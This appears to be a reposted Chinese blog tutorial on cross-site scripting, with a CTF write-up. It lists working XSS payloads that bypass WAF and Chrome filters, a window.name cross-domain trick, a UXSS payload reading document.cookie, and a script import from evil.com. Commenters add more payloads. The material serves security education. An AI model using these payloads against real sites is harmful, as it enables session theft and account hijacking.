最新消息:

How to Xss(科普&minictf writeup)

xss admin 1324浏览 0评论

转自:http://www.math1as.com/index.php/archives/186/

实例用minictf.sinaapp.com 自己搭建的模拟靶场里的xss题目来讲解

1.What is xss?

本名是CSS(cross site script),由于与层叠样式表同名,所以称其为XSS

XSS有哪些危害?和传统的一些sql注入,file include漏洞比起来,它的威胁更多的体现在针对用户上。也就是可能针对服务器无害(某些情况下还是可以利用它来进行内网渗透的),但是主要利用javascript的特性来偷取用户的cookies,从而完成身份伪造,登录用户的账号,窃取数据,隐私。

2.The type of xss

这里仅仅列举了xss的类型和实例,由于三个靶场例子都是进行了过滤的,那么实战将在之后的bypass模块里进行介绍。

(1)反射型XSS这类XSS之所以被称为反射型的原因是,用户的输入表现在url或者传递的数据里,而且在不进入数据库的情况下,直接被反映在了页面里。那么这么说的意思就是,用户只有访问了某个精心构造的url时,才会遭受到这种攻击,而目前的即时聊天工具(如qq)一般会自动标记并警示这种超长的url,而且由于反射XSS的特征比较明显.因此其危害虽然也比较大但是也是容易被解决的一种。这种XSS一般出现在某些搜索功能页面里,当然一些小插件(比如在线播放器添加url)也容易出现这种漏洞我的靶场里一个典型的该类漏洞如下

Image

其中url中的number参数被直接输出在了html中,这样就产生了一个反射XSS漏洞

(2)存储型XSS

相对于反射型XSS,这种漏洞更为”持久”,因为用户输入不仅仅被输出在了html中,而且还进入了数据库中进行保存,导致访问某个页面的用户会长期遭到攻击,其影响效果也是反射xss所不能相比的(其url为正常的,而且之前的用户也会受到影响) 常见出现的地方是留言板,微博,bbs(论坛)等web应用。当然一部分网站的用户资料设置也有这个问题。我的靶场里也有一个该类型的典型漏洞。这里用户在留言板的数据会被输出到html中。也就产生了一个存储型xss的漏洞(由于新浪平台限制了header的发送,我用某些方法近似的模拟了一个存储型XSS)

Image [1]

(3)Dom-XSS

这里dom-xss其实应该指的是输出点在html dom属性里的一种xss严格的说来是不能和以上的两者所并列的,但是由于它很重要,所以还是要提出来讲那么这种漏洞的特点是用户的输入最终输出在了html属性中(而且往往是过滤掉了尖括号等利用新标签的方法)我的靶场里也有一个该类型的典型漏洞。这里p变量的值直接被输出到input标签的value属性里

Image [2]

那么对于这种XSS的利用,往往是利用html标签的事件,例如onerror,onload来进行的

3.bypass filter

这里会以之前提到的三个实例来进行实际操作和讲解

(1)waf绕过这里讨论的是,一些web application firewall(web应用防火墙)和程序员自己编写规则的过滤由于自己的应用考虑,大部分程序员会在header里添加X-XSS-Protection:0来关闭浏览器自己的xss防御功能。那么我们这里就可以很简单的只考虑人为的过滤了。最简单的当然要属关键字过滤了,这类waf规则往往只是很简单的正则匹配了一下,相当一部分时候可以直接用编码绕过(js里的8进制,html实体编码)那么以第一个反射型XSS为例进行实战操作。从题干可知我们的目的是弹出1,而这里明显对’1’是进行了过滤的。我们先尝试构造

<script>

标签

Image [3]

很明显,直接的标签受到了过滤,那么我们现在想到了用其他标签的事件来编写Js代码

构造出

 <svg onload=alert(2)>

Image [4]

这里弹出了2,但是我们的题目过滤了1,那么要怎么绕过呢?

对于url来说,有一部分只是用来标记当前页面浏览位置的,也就是#后面跟随的部分它的名称是location.hash,由于不会被发送到服务器端,所以自然不会收到过滤。#是location.hash的第一个字符,其下标为0,那么我们要取其从下标1开始的字符构造payload为

 <svg onload=alert(location.hash.substr(2))>#11

Image [5]

当然我们肯定不会仅仅停留在这一种方法上。

另一种方法是利用URL这个对象的substr,这样在过滤了location.hash的地方就会有用了payload如下

 <svg onload=alert(URL.substr(82))#1

Image [6]

那么在一些直接过滤了alert()事件的情况下,你还可以使用下面的payload

<svg onload=OuterHTML=location.hash>#<iframe/onload=alert(1) />

Image [7]

还有一种比较冗长但是有效的方法:利用location.hash绕过过滤

利用String.FromCharcode方法,当然这里由于我们过滤了1,所以它需要两次编码,太长了就不贴出payload了。对于过滤了空格的情况,如果位置在标签名和属性之间。那么用斜杠或者制表符即可(各个浏览器有差别,需测试)如

<svg/onload=alert(location.hash.substr(2))>#11

过滤了小数点的情况下,用with(对象)的方法,在接下来调用对象方法的时候可以省略其名称比如,

<svg onload=with(URL)alert(substr(87))#11

Image [8]

上面利用URL和location.hash的方法还有一个好处,可以简略payload长度。

那么这里是在源文档里没有加入的hint:关于限制长度时如何解决的问题,也是在hctf的时候遇到过一次

首先,尽可能的使用短的变量名,如location.hash换成URL,或者利用iframe使用window.name的缩写(name)等。那么另外的一个重要的方法是,在该页面引入jquery的时候可以使用的技巧:Jquery工厂函数$(var)用来创建一个新的html对象。并可将其嵌入原有的dom中。而要注意的是,就算没有append.在用工厂函数创建时,也已经自动解析了html源码 比如

var = "<svg/onload=alert(1)>" 
$(var)

那么这样就会直接alert(1)了。 而且$(var)比起eval(name)还要更短了4个字节。

(2)浏览器filter绕过

大多数情况下,为了保证自己的应用不受影响,程序员使用X-XSS-Protection:0来关闭浏览器的过滤器,但在某些情况下仍然会默认开启它。那么这里我仅仅简单介绍chrome浏览器的filter绕过(有效测试 46版本)

Image [9]

那么我们先简单的构造一段payload

"><svg/onload=alert(1)>

Image [10]

由于XSS Filter是打开的,那么我们很尴尬的遇到了不能直接执行js的窘境。

这里要说说浏览器的这个过滤机制,类似于waf的是,它基本也是基于正则匹配的。但是一般它是把事件名称和等于号,事件代码联合起来匹配的。正则表达式大概是这样的(onerror|onload|…)+[\s]=+[\s].+//这里写得不太规范,因为是匹配了制表符和其他常见字符的这种情况下我们不可能通过空格来直接绕过这种过滤,制表符也不能很好的起效那么在这个html页面没有通过meta标签设置charset的情况下,我们可以通过引入某种编码来利用其中的不可见字符来绕过这个匹配那么老版本chrome中就存在一个ISO-2022-KR编码,其中的%0f字符就可以成功达到绕过匹配的功能。在新版本中移除了对于这个编码的支持。但是又存在一个ISO-2022-JP的编码,其中的%1B%28B同样存在这个问题那么我们构造payload如下

"><meta%20charset="ISO-2022-JP"><svg/onload%1B%28B=alert(1)>

Image [11]

成功的绕过了chrome的xss filter

那么在设置了charset,但没有禁止script标签的情况下,也是可以绕过的。构造payload

"><script>alert(1);2%2502<script</script>

Image [12]

其中%25是%的二次url编码,作用也是绕过直接对不可见字符的过滤

同样可以用svg中继承xml的特性来绕过

"><svg><script>/<1/>alert(1)</script></svg>

Image [13]

另外,在老版本chrome(36~40)中

<link rel=import href=evil.com>

这样import会直接执行js代码,而且无视xss filter.对浏览器xss filter的绕过,还是依赖于fuzz和逆向工程的。

4.跨域的问题

(1)同源策略

所谓同源策略,就是根据域名,ip,端口,协议来区分两个domain,不同domain之间的js不能互相访问对方的dom,虽然RFC里制定了相应的标准,但每个浏览器之间都会有细微的差距。那么这个同源策略很好的避免了直接跨域访问(如通过iframe构造一个页面)直接偷取用户在其他站点的document.cookie但是它就一定安全么?曾经在opera浏览器中就存在一个问题用data伪协议url的iframe,和创建它的域共享一个源。这样的话,两个iframe之间就可以直接访问对方的dom了还有另一个问题,利用javascript伪协议来执行代码的话,如果先让iframe跳到某个网站,再跳转到javascript:alert(document.cookie)的话,也会产生问题,所以现在所有浏览器都规定,由js伪协议产生的是一个独一无二的源具体的一些规则请阅读《web之困:现代web应用安全指南》

(2)回旋镖 window.name对于一些有长度限制的XSS,通过这个回旋镖可以跨域传递内容,以我们的反射XSS为例构造一个页面

<iframe src="about:blank" 
name="a"></iframe>
<script>
var test=frames['a'];
test.window.name="alert(1)";
test.location="http://minictf.sinaapp.co
m/xss1.php?number=<svg/onload=eval
(name)>"
</script>

其中的window.name在我更改了iframe的location后(即域发生了改变后)仍然保持不变

所以跨域传递了这个在get参数中被过滤的数据,完成了绕过。需要提一点的是,这种方法也被称为’回旋镖’,因为它把一个反射XSS升格为了一个存储XSS(当然这里是近似的,因为虽然没有入库的操作,但是确实持久的保持在了一个真实的页面而非映射出的url中)

Image [14]

(3)穿甲伤害 UXSS

其实就是可以穿透上述同源策略的一种xss.也仅仅举出一个google chrome的payload也是利用iframe完成了一个跨域的dom访问

&lt;body&gt;&lt;iframe&gt;&lt;/iframe&gt;&lt;table&gt;&lt;b&gt;&lt;p&gt;&lt;iframe&gt;&lt;/iframe&gt;&lt;script&gt; frames[1].onunload = function() { document.body.removeChild(document.querySelector('table')); }

onunload = function() { // Clean up to fix some crashes during reload. while (document.childNodes.length) { document.removeChild(document.childNodes[0]); } }

onload = function() { try{ frames[0].a }catch(e){ location.reload() }; xof = frames[0].frameElement; xof.onload = function() { xof.onload = null; xof.src = 'javascript:alert(document.cookie)'; var xmlErr = document.documentElement.appendChild(document.createElement('iframe')); xmlErr.src = '1.svg'; } xof.src = 'http://www.baidu.com/'; } &lt;/script&gt;&lt;/b&gt;&lt;/p&gt;&lt;/table&gt;&lt;/body&gt;

<a href="http://www.jinglingshu.org/wp-content/uploads/2015/12/jinglingshu_2015-12-22_13-29-20.png"><img class="alignnone size-full wp-image-10948" src="http://www.jinglingshu.org/wp-content/uploads/2015/12/jinglingshu_2015-12-22_13-29-20.png" alt="Image [15]" width="692" height="250" /></a>

5.结语&资料推荐

在sql injection等漏洞表面上通过waf的正则表达式和规则匹配得到更好的解决的时候。Xss却因为html和js的语义多样性以及越来越多的新标签 新特性而无法找到一个很好的解决方案。 目前也是清华蓝莲花前队长创立的长亭科技在研发一款使用语义分析的xsschop,至于效果如何我们拭目以待。

那么推荐的书籍大概有《web之困:现代web应用安全指南》网站Html5sec.org 介绍了一些html5新特性引发的安全问题

转载请注明:jinglingshu的博客 » How to Xss(科普&minictf writeup)

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (5)

  1. [flash]http://localhost/flash.swf?'+alert(0)+'[/flash]
    test2015-12-23 15:40 回复
    • That adesesrds several of my concerns actually.
      Gert2017-03-31 14:31 回复
  2. 我们没有标准,客户满意就是我们的标准。
  3. <abbr title="”qweqw" style="top: 0px; width: 100%; height: 100%; display: block; position: fixed;" onmouseover="alert(123)//这种
    3q2016-07-02 20:40 回复
    • Hey, that's a clever way of thnkiing about it.
      Geraldine2017-03-31 12:45 回复